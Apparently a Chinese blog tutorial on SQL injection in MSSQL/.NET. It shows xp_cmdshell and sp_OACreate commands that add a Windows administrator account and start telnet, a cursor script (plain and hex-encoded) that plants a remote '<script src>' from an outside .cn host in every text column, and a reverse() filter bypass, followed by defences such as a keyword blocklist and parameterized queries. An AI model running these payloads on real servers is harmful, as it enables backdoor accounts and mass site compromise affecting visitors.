通過(5)獲取到sysadmin權限的帳戶后，使用查詢分析器連接到數據庫，可通過xp_cmdshell運行系統命令行（必須是sysadmin權限），即使用 cmd.exe 工具，可以做什么自己多了解下。

下面我們使用xp_cmdshell來創建一個 Windows 用戶，并開啟遠程登錄服務：

a) 判斷xp_cmdshell擴展存儲過程是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'

b) 恢復xp_cmdshell擴展存儲過程

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';

開啟后使用xp_cmdshell還會報下面錯誤：

SQL Server 阻止了對組件 'xp_cmdshell' 的過程 'sys.xp_cmdshell' 的訪問，因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 'xp_cmdshell'。有關啟用'xp_cmdshell' 的詳細信息，請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。

通過執行下面的語句進行設置：

-- 允許配置高級選項

EXEC sp_configure 'show advanced options', 1

-- 重新配置

RECONFIGURE

-- 啟用xp_cmdshell

EXEC sp_configure 'xp_cmdshell', 0

--重新配置

RECONFIGURE

c) 禁用xp_cmdshell擴展存儲過程

Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';

d) 添加windows用戶：

Exec xp_cmdshell 'net user awen /add';

e) 設置好密碼：

Exec xp_cmdshell 'net user awen password';

f) 提升到管理人員：

Exec xp_cmdshell 'net localgroup administrators awen /add';

g) 開啟telnet服務：

Exec xp_cmdshell 'net start tlntsvr'

7) 沒有xp_cmdshell擴展程序，也可創建Windows帳戶的辦法.

(本人windows7系統，測試下面SQL語句木有效果)

declare @shell int ;

execsp_OAcreate 'w script .shell',@shell output ;

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';

在使用的時候會報如下錯：

SQL Server 阻止了對組件 'Ole Automation Procedures' 的過程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的訪問，因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 'Ole Automation Procedures'。有關啟用 'Ole Automation Procedures' 的詳細信息，請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。

解決辦法：

sp_configure 'show advanced options', 1;

RECONFIGURE;

sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE;

好了，這樣別人可以登錄你的服務器了，你怎么看？

8) 客戶端腳本攻擊

攻擊1：（正常輸入）攻擊者通過正常的輸入提交方式將惡意腳本提交到數據庫中，當其他用戶瀏覽此內容時就會受到惡意腳本的攻擊。

措施：轉義提交的內容，.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉換為HTML編碼的字符串。

攻擊2：（SQL注入）攻擊者通過SQL注入方式將惡意腳本提交到數據庫中，直接使用SQL語法UPDATE數據庫，為了跳過System.Net.WebUtility.HtmlEncode(string) 轉義，攻擊者會將注入SQL經過“HEX編碼”，然后通過exec可以執行“動態”SQL的特性運行腳本”。

參考：

注入：SQL注入案例曝光，請大家提高警惕

恢復：批量清除數據庫中被植入的js

示例代碼：（可在示例附帶的數據庫測試）

a) 向當前數據庫的每個表的每個字段插入一段惡意腳本

Declare @T Varchar(255),@C Varchar(255)

Declare Table_Cursor Cursor For

Select A.Name,B.Name

From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor

Fetch Next From Table_Cursor Into @T,@C

While(@@Fetch_Status=0)

Begin

Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')

Fetch Next From Table_Cursor Into @T,@C

End

Close Table_Cursor

DeallocateTable_Cursor

b) 更高級的攻擊，將上面的注入SQL進行“HEX編碼”，從而避免程序的關鍵字檢查、腳本轉義等，通過EXEC執行

dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;

eXeC(@s);--

c) 批次刪除數據庫被注入的腳本

declare @delStrnvarchar(500)

set @delStr='<script src=http://8f8el3l.cn/0.js></script>' --要被替換掉字符

setnocount on

declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint

declare @sqlnvarchar(500)

set @iResult=0

declare cur cursor for

selectname,id from sysobjects where xtype='U'

open cur

fetch next from cur into @tableName,@tbID

while @@fetch_status=0

begin

declare cur1 cursor for

--xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型

select name from syscolumns where xtype in (231,167,239,175) and id=@tbID

open cur1

fetch next from cur1 into @columnName

while @@fetch_status=0

begin

set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''

execsp_executesql @sql

set @iRow=@@rowcount

set @iResult=@iResult+@iRow

if @iRow>0

begin

print '表：'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;'

end

fetch next from cur1 into @columnName

end

close cur1

deallocate cur1

fetch next from cur into @tableName,@tbID

end

print '數據庫共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!'

close cur

deallocate cur

setnocount off

d) 我如何得到“HEX編碼”？

開始不知道HEX是什么東西，后面查了是“十六進制”，網上已經給出兩種轉換方式：（注意轉換的時候不要加入十六進制的標示符 ’0x’ ）

? 在線轉換（TRANSLATOR, BINARY），進入……

? C#版的轉換，進入……

9) 對于敏感詞過濾不到位的檢查，我們可以結合函數構造SQL注入

比如過濾了update，卻沒有過濾declare、exec等關鍵詞，我們可以使用reverse來將倒序的sql進行注入：

declare @A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');

防止SQL注入

1. 數據庫權限控制，只給訪問數據庫的web應用功能所需的最低權限帳戶。

如MSSQL中一共存在8種權限：sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

2. 自定義錯誤信息，首先我們要屏蔽服務器的詳細錯誤信息傳到客戶端。

在 ASP.NET 中，可通過web.config配置文件的<customErrors>節點設置：

<error. . ./>

</customErrors>

更詳細，請進入……

mode：指定是啟用或禁用自定義錯誤，還是僅向遠程客戶端顯示自定義錯誤。

指定啟用自定義錯誤。如果未指定defaultRedirect，用戶將看到一般性錯誤。

Off

指定禁用自定義錯誤。這允許顯示標準的詳細錯誤。

RemoteOnly

指定僅向遠程客戶端顯示自定義錯誤并且向本地主機顯示ASP.NET 錯誤。這是默認值。

看下效果圖：

設置為<customErrors mode="On">一般性錯誤：

設置為<customErrors mode="Off">：

3. 把危險的和不必要的存儲過程刪除

xp_：擴展存儲過程的前綴，SQL注入攻擊得手之后，攻擊者往往會通過執行xp_cmdshell之類的擴展存儲過程，獲取系統信息，甚至控制、破壞系統。

xp_cmdshell

能執行dos命令，通過語句sp_dropextendedproc刪除，

不過依然可以通過sp_addextendedproc來恢復，因此最好刪除或改名xplog70.dll（sql server 2000、windows7）

xpsql70.dll(sqlserer 7.0)

xp_fileexist

用來確定一個文件是否存在

xp_getfiledetails

可以獲得文件詳細資料

xp_dirtree

可以展開你需要了解的目錄，獲得所有目錄深度

Xp_getnetname

可以獲得服務器名稱

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

可以訪問注冊表的存儲過程

Sp_OACreate

Sp_OADestroy

Sp_OAGetErrorInfo

Sp_OAGetProperty

Sp_OAMethod

Sp_OASetProperty

Sp_OAStop

如果你不需要請丟棄OLE自動存儲過程

4. 非參數化SQL與參數化SQL

1) 非參數化（動態拼接SQL）

a) 檢查客戶端腳本：若使用.net，直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的《HTML特殊轉義字符》轉換掉。

b) 類型檢查：對接收數據有明確要求的，在方法內進行類型驗證。如數值型用int.TryParse()，日期型用DateTime.TryParse() ，只能用英文或數字等。

c) 長度驗證：要進行必要的注入，其語句也是有長度的。所以如果你原本只允許輸入10字符，那么嚴格控制10個字符長度，一些注入語句就沒辦法進行。

d) 使用枚舉：如果只有有限的幾個值，就用枚舉。

e) 關鍵字過濾：這個門檻比較高，因為各個數據庫存在關鍵字，內置函數的差異，所以對編寫此函數的功底要求較高。如公司或個人有積累一個比較好的通用過濾函數還請留言分享下，學習學習，謝謝！

這邊提供一個關鍵字過濾參考方案(MSSQL)：

public static bool ValiParms(string parms)

{

if (parms == null)

{

return false;

}

Regex regex = new Regex("sp_", RegexOptions.IgnoreCase);

Regex regex2 = new Regex("'", RegexOptions.IgnoreCase);

Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase);

Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase);

Regex regex5 = new Regex("\"", RegexOptions.IgnoreCase);

Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase);

Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase);

Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase);

Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase);

Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase);

Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase);

return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));

}

優點：寫法相對簡單，網絡傳輸量相對參數化拼接SQL小

缺點：

a) 對于關鍵字過濾，常常“顧此失彼”，如漏掉關鍵字，系統函數，對于HEX編碼的SQL語句沒辦法識別等等，并且需要針對各個數據庫封裝函數。

b) 無法滿足需求：用戶本來就想發表包含這些過濾字符的數據。

c) 執行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。服務器的物理內存有限，SQLServer的緩存空間也有限。有限的空間應該被充分利用。

2) 參數化查詢（Parameterized Query）

a) 檢查客戶端腳本，類型檢查，長度驗證，使用枚舉，明確的關鍵字過濾這些操作也是需要的。他們能盡早檢查出數據的有效性。

b) 參數化查詢原理：在使用參數化查詢的情況下，數據庫服務器不會將參數的內容視為SQL指令的一部份來處理，而是在數據庫完成 SQL 指令的編譯后，才套用參數運行，因此就算參數中含有具有損的指令，也不會被數據庫所運行。

c) 所以在實際開發中，入口處的安全檢查是必要的，參數化查詢應作為最后一道安全防線。

優點：

? 防止SQL注入(使單引號、分號、注釋符、xp_擴展函數、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)

? 參數化查詢能強制執行類型和長度檢查。

? 在MSSQL中生成并重用查詢計劃，從而提高查詢效率（執行一條SQL語句，其生成查詢計劃將消耗大于50%的時間）

缺點：

? 不是所有數據庫都支持參數化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用數據庫支持參數化查詢。

疑問：參數化如何“批量更新”數據庫。

a) 通過在參數名上增加一個計數來區分開多個參數化語句拼接中的同名參數。

EG：

StringBuilder sqlBuilder=new StringBuilder(512);

Int count=0;

For(循環)

{

sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());

SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}

……

Count++;

}

b) 通過MSSQL 2008的新特性：表值參數，將C#中的整個表當參數傳遞給存儲過程，由SQL做邏輯處理。注意C#中參數設置parameter.SqlDbType = System.Data.SqlDbType.Structured; 詳細請查看……

疑慮：有部份的開發人員可能會認為使用參數化查詢，會讓程序更不好維護，或者在實現部份功能上會非常不便，然而，使用參數化查詢造成的額外開發成本，通常都遠低于因為SQL注入攻擊漏洞被發現而遭受攻擊，所造成的重大損失。

另外：想驗證重用查詢計劃的同學，可以使用下面兩段輔助語法

--清空緩存的查詢計劃

DBCC FREEPROCCACHE

--查詢緩存的查詢計劃

SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text]

FROM sys.dm_exec_cached_plans p

OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql

JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle

3) 參數化查詢示例

效果如圖：

參數化關鍵代碼：

Private bool ProtectLogin(string userName, string password)

{

SqlParameter[] parameters = new SqlParameter[]

{

new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},

new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}

};

int count = (int)SqlHelper.Instance.ExecuteScalar

("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters);

return count > 0 ? true : false;

}

5. 存儲過程

存儲過程（Stored Procedure）是在大型數據庫系統中，一組為了完成特定功能的SQL 語句集，經編譯后存儲在數據庫中，用戶通過指定存儲過程的名字并給出參數（如果該存儲過程帶有參數）來執行它。

優點：

a) 安全性高，防止SQL注入并且可設定只有某些用戶才能使用指定存儲過程。

b) 在創建時進行預編譯，后續的調用不需再重新編譯。

c) 可以降低網絡的通信量。存儲過程方案中用傳遞存儲過程名來代替SQL語句。

缺點：

a) 非應用程序內聯代碼，調式麻煩。

b) 修改麻煩，因為要不斷的切換開發工具。（不過也有好的一面，一些易變動的規則做到存儲過程中，如變動就不需要重新編譯應用程序）

c) 如果在一個程序系統中大量的使用存儲過程，到程序交付使用的時候隨著用戶需求的增加會導致數據結構的變化，接著就是系統的相關問題了，最后如果用戶想維護該系統可以說是很難很難（eg：沒有VS的查詢功能）。

演示請下載示例程序，關鍵代碼為：

cmd.CommandText = procName; // 傳遞存儲過程名

cmd.CommandType = CommandType.StoredProcedure; // 標識解析為存儲過程

如果在存儲過程中SQL語法很復雜需要根據邏輯進行拼接，這時是否還具有放注入的功能？

答：MSSQL中可以通過 EXEC 和sp_executesql動態執行拼接的sql語句，但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數值， EXECUTE 語句不支持。所以只有使用sp_executesql方式才能啟到參數化防止SQL注入。

關鍵代碼：（詳細見示例）

a) sp_executesql

CREATE PROCEDURE PROC_Login_executesql(

@userNamenvarchar(10),

@password nvarchar(10),

@count int OUTPUT

)

BEGIN

DECLARE @s nvarchar(1000);

set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password';

EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count output

END

b) EXECUTE（注意sql中拼接字符，對于字符參數需要額外包一層單引號，需要輸入兩個單引號來標識sql中的一個單引號）

CREATE PROCEDURE PROC_Login_EXEC(

@userNamenvarchar(10),

@password varchar(20)

)

BEGIN

DECLARE @s nvarchar(1000);

set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';

EXEC('DECLARE @count int;' +@s+'select @count');

END

注入截圖如下：

6. 專業的SQL注入工具及防毒軟件

情景1

A：“丫的，又中毒了……”

B：“我看看，你這不是裸機在跑嗎？”

電腦上至少也要裝一款殺毒軟件或木馬掃描軟件，這樣可以避免一些常見的侵入。比如開篇提到的SQL創建windows帳戶，就會立馬報出警報。

情景2

A：“終于把網站做好了，太完美了，已經檢查過沒有漏洞了！”

A：“網站怎么被黑了，怎么入侵的？？？”

公司或個人有財力的話還是有必要購買一款專業SQL注入工具來驗證下自己的網站，這些工具畢竟是專業的安全人員研發，在安全領域都有自己的獨到之處。SQL注入工具介紹：10個SQL注入工具

7. 額外小知識：LIKE中的通配符

盡管這個不屬于SQL注入，但是其被惡意使用的方式是和SQL注入類似的。

參考：SQL中通配符的使用

包含零個或多個字符的任意字符串。

任何單個字符。

[]

指定范圍（例如 [a-f]）或集合（例如 [abcdef]）內的任何單個字符。

[^]

不在指定范圍（例如 [^a - f]）或集合（例如 [^abcdef]）內的任何單個字符。

在模糊查詢LIKE中，對于輸入數據中的通配符必須轉義，否則會造成客戶想查詢包含這些特殊字符的數據時，這些特殊字符卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。

注意使用通配符的索引性能問題：

a) like的第一個字符是'%'或'_'時，為未知字符不會使用索引, sql會遍歷全表。

b) 若通配符放在已知字符后面，會使用索引。

網上有這樣的說法，不過我在MSSQL中使用 ctrl+L 執行語法查看索引使用情況卻都沒有使用索引，可能在別的數據庫中會使用到索引吧……

截圖如下：

有兩種將通配符轉義為普通字符的方法：

1) 使用ESCAPE關鍵字定義轉義符（通用）

在模式中，當轉義符置于通配符之前時，該通配符就解釋為普通字符。例如，要搜索在任意位置包含字符串 5% 的字符串，請使用：

WHERE ColumnA LIKE '%5/%%' ESCAPE '/'

2) 在方括號 ([ ]) 中只包含通配符本身，或要搜索破折號 (-) 而不是用它指定搜索范圍，請將破折號指定為方括號內的第一個字符。EG：

符號

含義

LIKE '5[%]'

LIKE '5%'

5 后跟 0 個或多個字符的字符串

LIKE '[_]n'

LIKE '_n'

an, in, on (and so on)

LIKE '[a-cdf]'

a、b、c、d 或 f

LIKE '[-acdf]'

-、a、c、d 或 f

LIKE '[ [ ]'

[

LIKE ']'

] （右括號不需要轉義）

所以，進行過輸入參數的關鍵字過濾后，還需要做下面轉換確保LIKE的正確執行

private static string ConvertSqlForLike(string sql)

{

sql = sql.Replace("[", "[[]"); // 這句話一定要在下面兩個語句之前，否則作為轉義符的方括號會被當作數據被再次處理

sql = sql.Replace("_", "[_]");

sql = sql.Replace("%", "[%]");

return sql;

}

結束語：感謝你耐心的觀看。恭喜你， SQL安全攻防你已經入門了……

參考文獻：

SQL注入天書

(百度百科)SQL注入

擴展資料：

Sql Server 編譯、重編譯與執行計劃重用原理

淺析Sql Server參數化查詢-----驗證了參數的類型和長度對參數化查詢影響

Sql Server參數化查詢之where in和like實現詳解

-----講述6種參數化實現方案

webshell -----不當小白，你必須認識的專業術語。一個用于站長管理，入侵者入侵的好工具

SQL注入技術和跨站腳本攻擊的檢測 -----講解使用正則表達式檢測注入

XSS(百度百科) -------惡意攻擊者往Web頁面里插入惡意html代碼，當用戶瀏覽該頁之時，嵌入其中Web里面的html代碼會被執行，從而達到惡意用戶的特殊目的。

XSS攻擊實例 -------基本思路：我們都知道網上很多網站都可以“記住你的用戶名和密碼”或是“自動登錄”，其實是在你的本地設置了一個cookie，這種方式可以讓你免去每次都輸入用戶名和口令的痛苦，但是也帶來很大的問題。試想，如果某用戶在“自動登錄”的狀態下，如果你運行了一個程序，這個程序訪問“自動登錄”這個網站上一些鏈接、提交一些表單，那么，也就意味著這些程序不需要輸入用戶名和口令的手動交互就可以和服務器上的程序通話。

Web安全測試之XSS

Web API 入門指南 - 閑話安全

中間人攻擊(MITM)姿勢總結

淺談WEB安全性（前端向）

在線咨詢

上一篇：設置div高度等于動態寬度
下一篇：html中如何寫“返回頂部按鈕”？

您的項目需求

*請認真填寫需求信息，我們會在24小時內與您取得聯系。

整合營銷服務商

前端基礎篇css

您的項目需求